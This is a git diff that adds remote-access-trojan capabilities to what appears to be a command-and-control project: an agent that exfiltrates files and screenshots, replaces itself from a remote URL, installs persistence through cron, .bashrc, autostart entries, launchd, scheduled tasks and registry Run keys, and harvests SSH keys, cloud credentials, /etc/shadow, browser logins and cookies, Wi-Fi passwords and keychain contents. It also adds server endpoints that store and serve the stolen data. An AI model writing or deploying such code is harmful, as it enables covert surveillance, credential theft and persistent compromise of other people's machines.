diff --git a/.gitignore b/.gitignore
index 1604045..823e254 100644
--- a/.gitignore
+++ b/.gitignore
@@ -7,3 +7,4 @@ __pycache__/
*.pyc
public/bin/
*.spec
+data/
diff --git a/agents/agent.py b/agents/agent.py
index 56255d8..4785780 100644
--- a/agents/agent.py
+++ b/agents/agent.py
@@ -241,6 +241,244 @@ def execute_structured_action(action_type, payload):
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
+ elif action_type == "download_file":
+ filepath = payload.get("path", "")
+ if not filepath or not os.path.exists(filepath):
+ return f"ERROR: file not found: {filepath}", 1
+ try:
+ with open(filepath, 'rb') as f:
+ raw = f.read()
+ import base64
+ b64 = base64.b64encode(raw).decode('utf-8')
+ # Determine MIME (basic)
+ ext = os.path.splitext(filepath)[1].lower()
+ mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
+ '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
+ '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+ '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
+ '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
+ mime = mime_map.get(ext, 'application/octet-stream')
+ filename = os.path.basename(filepath)
+ return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
+ except Exception as e:
+ return f"ERROR reading file: {e}", 1
+
+ elif action_type == "screenshot":
+ try:
+ import base64
+ if system == "linux":
+ # Try multiple screenshot tools
+ for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
+ if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
+ if tool == "import":
+ subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ elif tool == "scrot":
+ subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
+ elif tool == "gnome-screenshot":
+ subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
+ elif tool == "spectacle":
+ subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
+ break
+ else:
+ # Try Xlib via python3 if available
+ subprocess.run(["python3", "-c",
+ "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
+ "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
+ "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
+ timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ elif system == "darwin":
+ subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
+ elif system == "windows":
+ subprocess.run(["powershell", "-Command",
+ "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
+ "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
+ "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
+ "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
+ timeout=15)
+ os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
+ if os.path.exists("/tmp/.nexus-ss.png"):
+ with open("/tmp/.nexus-ss.png", 'rb') as f:
+ b64 = base64.b64encode(f.read()).decode('utf-8')
+ os.remove("/tmp/.nexus-ss.png")
+ return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
+ return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
+ except Exception as e:
+ return f"ERROR screenshot: {e}", 1
+
+ elif action_type == "update_agent":
+ new_url = payload.get("url", "")
+ if not new_url:
+ return "ERROR: no update URL provided", 1
+ try:
+ my_path = os.path.abspath(__file__)
+ bak = my_path + ".bak"
+ os.rename(my_path, bak)
+ urllib.request.urlretrieve(new_url, my_path)
+ os.chmod(my_path, 0o755)
+ os.remove(bak)
+ return "Agent updated successfully. Restarting...", 0
+ except Exception as e:
+ # Restore backup
+ if os.path.exists(bak):
+ os.rename(bak, my_path)
+ return f"ERROR update failed: {e}", 1
+
+ elif action_type == "ensure_persistence":
+ results = []
+ if system == "linux":
+ # crontab
+ try:
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+ existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
+ if cron_line.split('@reboot')[1].strip() not in existing:
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added @reboot entry")
+ else:
+ results.append("crontab: already present")
+ except: results.append("crontab: failed")
+ # .bashrc
+ try:
+ bashrc = os.path.expanduser("~/.bashrc")
+ hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
+ with open(bashrc, 'a+') as f:
+ f.seek(0)
+ if 'nexus-agent' not in f.read():
+ f.write(hook)
+ results.append("bashrc: hook installed")
+ except: results.append("bashrc: failed")
+ # autostart .desktop
+ try:
+ ad = os.path.expanduser("~/.config/autostart")
+ os.makedirs(ad, exist_ok=True)
+ with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
+ f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
+ results.append("autostart: .desktop created")
+ except: results.append("autostart: failed")
+ elif system == "darwin":
+ try:
+ plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
+ os.makedirs(os.path.dirname(plist), exist_ok=True)
+ plist_content = f'''
+
+Labelcom.nexusops.agent
+ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')}
+RunAtLoadKeepAlive'''
+ with open(plist, 'w') as f: f.write(plist_content)
+ subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ results.append("launchd: plist loaded")
+ except: results.append("launchd: failed")
+ # crontab for macOS too
+ try:
+ cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+ subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+ results.append("crontab: added")
+ except: results.append("crontab: failed")
+ elif system == "windows":
+ agent_path = os.path.abspath(__file__)
+ srv = payload.get("server_url", "")
+ try:
+ task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
+ subprocess.run(task_cmd, shell=True, timeout=10)
+ results.append("schtasks: scheduled task created")
+ except: results.append("schtasks: failed")
+ try:
+ reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
+ subprocess.run(reg_cmd, shell=True, timeout=10)
+ results.append("registry: Run key added")
+ except: results.append("registry: failed")
+ return "Persistence results: " + "; ".join(results), 0
+
+ elif action_type == "harvest_credentials":
+ creds = []
+ home = os.path.expanduser("~")
+ # Shell history
+ for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
+ p = os.path.expanduser(hist)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ content = f.read()[-20000:]
+ creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
+ except: pass
+ # SSH keys
+ ssh_dir = os.path.join(home, ".ssh")
+ if os.path.exists(ssh_dir):
+ for fn in os.listdir(ssh_dir):
+ fp = os.path.join(ssh_dir, fn)
+ if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
+ try:
+ with open(fp, 'r', errors='ignore') as f:
+ creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
+ except: pass
+ # AWS / cloud credentials
+ for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
+ "~/.azure/accessTokens.json", "~/.docker/config.json"]:
+ p = os.path.expanduser(cf)
+ if os.path.exists(p):
+ try:
+ with open(p, 'r', errors='ignore') as f:
+ creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
+ except: pass
+ # /etc/shadow (if root)
+ if os.path.exists("/etc/shadow"):
+ try:
+ with open("/etc/shadow", 'r') as f:
+ creds.append({"type": "system:shadow", "data": f.read()[:5000]})
+ except: pass
+ # Browser cookie/saved-login DBs (common paths)
+ browser_paths = []
+ if system == "linux":
+ browser_paths = [
+ os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
+ os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
+ os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
+ os.path.expanduser("~/.config/chromium/Default/Cookies"),
+ os.path.expanduser("~/.config/chromium/Default/Login Data"),
+ os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
+ ]
+ elif system == "darwin":
+ browser_paths = [
+ os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
+ os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
+ ]
+ elif system == "windows":
+ browser_paths = [
+ os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
+ os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
+ ]
+ import glob
+ for pattern in browser_paths:
+ for p in glob.glob(pattern):
+ try:
+ sz = os.path.getsize(p)
+ if sz > 0 and sz < 50 * 1024 * 1024:
+ with open(p, 'rb') as f:
+ import base64
+ creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
+ "data": base64.b64encode(f.read()).decode('utf-8')})
+ except: pass
+ # Wi-Fi passwords (Linux)
+ if system == "linux":
+ try:
+ wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
+ if wifi.strip() and 'no wifi' not in wifi:
+ creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
+ except: pass
+ # macOS Keychain dump
+ if system == "darwin":
+ try:
+ keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
+ shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
+ if keychain.strip():
+ creds.append({"type": "keychain_dump", "data": keychain[:10000]})
+ except: pass
+
+ return json.dumps({"type":"harvest_result","credentials":creds}), 0
+
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
@@ -443,12 +681,37 @@ def main():
output, exit_code = execute_structured_action(action_type, payload)
- http_post(f"{server_url}/api/agent/command-result", {
- "commandId": cmd_id,
- "nodeId": node_id,
- "output": output,
- "exitCode": exit_code
- })
+ # Check for JSON-encoded special result types
+ special = None
+ try:
+ if output.startswith('{'):
+ special = json.loads(output)
+ except: pass
+
+ if special and special.get("type") == "file_result":
+ # Route to file-result endpoint
+ http_post(f"{server_url}/api/agent/file-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "filename": special.get("filename", "unknown"),
+ "data": special.get("data", ""),
+ "mime": special.get("mime", "application/octet-stream")
+ })
+ elif special and special.get("type") == "harvest_result":
+ http_post(f"{server_url}/api/agent/harvest-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "hostname": hostname,
+ "credentials": special.get("credentials", [])
+ })
+ else:
+ http_post(f"{server_url}/api/agent/command-result", {
+ "commandId": cmd_id,
+ "nodeId": node_id,
+ "output": output,
+ "exitCode": exit_code
+ })
except Exception as e:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
diff --git a/public/index.html b/public/index.html
index ef1e13a..15b23d8 100644
--- a/public/index.html
+++ b/public/index.html
@@ -301,6 +301,7 @@
+
@@ -363,6 +364,24 @@
+
+
+
File exfiltration, screenshot capture, credential harvesting, persistence.
+
+
+
+
+
+
+
+
+
Network Interface Cards & Active Established Connections.
diff --git a/server.js b/server.js
index c2e4c98..00da860 100644
--- a/server.js
+++ b/server.js
@@ -5,6 +5,7 @@ const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
+const fs = require('fs');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
@@ -13,10 +14,14 @@ const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
-const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
+const PUBLIC_URL = process.env.PUBLIC_URL || null;
+const DATA_DIR = path.join(__dirname, 'data');
+
+// Ensure data directory exists
+if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors());
-app.use(express.json({ limit: '10mb' }));
+app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
function getLocalIp() {
@@ -39,6 +44,34 @@ const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
+const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
+const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
+
+// ── Persistence ──
+function saveData() {
+ try {
+ fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
+ fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
+ fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
+ fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
+ fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
+ } catch(e) { /* silent */ }
+}
+
+function loadData() {
+ try {
+ const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
+ nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
+ commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
+ masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
+ inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
+ harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
+ } catch(e) { /* first run */ }
+}
+loadData();
+
+// Auto-save every 30 seconds
+setInterval(saveData, 30000);
setInterval(() => {
const now = Date.now();
@@ -55,6 +88,7 @@ setInterval(() => {
}, 5000);
function broadcastState() {
+ saveData(); // Persist on every state change
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
@@ -520,6 +554,75 @@ app.post('/api/nodes/:id/ping', (req, res) => {
res.json({ success: true, commandId: cmdId });
});
+// ── File Exfiltration — agent sends file back ──
+app.post('/api/agent/file-result', (req, res) => {
+ const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
+ const entry = commandHistory.find(c => c.id === commandId);
+ if (entry) {
+ entry.status = error ? 'failed' : 'completed';
+ entry.completedAt = Date.now();
+ if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
+ else entry.output = `[FILE ERROR] ${error}`;
+ }
+ if (!error && data) {
+ const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
+ exfiltratedFiles.set(fileId, {
+ nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
+ timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
+ });
+ }
+ broadcastState();
+ res.json({ success: true });
+});
+
+// ── Download exfiltrated file ──
+app.get('/api/files/:id', (req, res) => {
+ const file = exfiltratedFiles.get(req.params.id);
+ if (!file) return res.status(404).json({ error: 'File not found' });
+ const buf = Buffer.from(file.data, 'base64');
+ res.setHeader('Content-Type', file.mime);
+ res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
+ res.send(buf);
+});
+
+// ── List exfiltrated files ──
+app.get('/api/files', (req, res) => {
+ res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
+ id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
+ mime: f.mime, size: f.size, timestamp: f.timestamp
+ })));
+});
+
+// ── Credential Harvest Result ──
+app.post('/api/agent/harvest-result', (req, res) => {
+ const { commandId, nodeId, hostname, credentials, error } = req.body;
+ const entry = commandHistory.find(c => c.id === commandId);
+ if (entry) {
+ entry.status = error ? 'failed' : 'completed';
+ entry.completedAt = Date.now();
+ entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
+ }
+ if (credentials && Array.isArray(credentials)) {
+ credentials.forEach(c => {
+ harvestedCredentials.push({
+ nodeId, hostname, type: c.type || 'unknown', data: c.data,
+ timestamp: Date.now()
+ });
+ });
+ if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
+ }
+ broadcastState();
+ res.json({ success: true });
+});
+
+// ── List harvested credentials ──
+app.get('/api/credentials', (req, res) => {
+ const { nodeId } = req.query;
+ let filtered = harvestedCredentials;
+ if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
+ res.json(filtered.slice(-200));
+});
+
app.get('/install.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash